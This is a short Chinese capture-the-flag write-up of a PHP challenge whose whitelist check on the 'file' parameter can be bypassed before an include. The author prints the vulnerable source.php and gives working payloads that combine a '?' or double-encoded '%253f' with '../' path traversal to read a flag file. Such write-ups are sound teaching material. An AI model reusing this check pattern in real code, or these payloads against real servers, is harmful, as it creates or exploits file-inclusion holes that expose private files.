什么都没有,看一下源码
有一个source.php,看一下
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) { //判断page是否存在,
echo "you can't see it"; //内容是不是字符串
return false;
}
if (in_array($page, $whitelist)) { //page是否包含于whitelist
return true;
}
$_page = mb_substr( //截取page第一个字符到问号第一次出现的位置
$page,
0,
mb_strpos($page . '?', '?') //返回?第一次出现的位置
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page); //将page进行url解码
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file']) //如果file参数不为空,并且是字符串,经过emmm类的
&& is_string($_REQUEST['file']) //检测,就包含file
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
这也就是要在source.php或hint.php下进行,我们可以利用第二个if直接在source.php或hint.php后面加?;或者把?进行两次url编码,利用第三个if,因为?被服务器解码一次又被urldecode解码一次。
看一下hint.php
flag在ffffllllaaaagggg
file=hint.php/source.php?../../../../../ffffllllaaaagggg
file=hint.php/source.php%253f../../../../../ffffllllaaaagggg,%253f是?两次url编码。
刚开始file=hint.php/source.php?ffffllllaaaagggg这样不对,应该是和source.php不是在同意文件夹下,就用../相对路径来找ffffllllaaaagggg,四个../或更多都可以。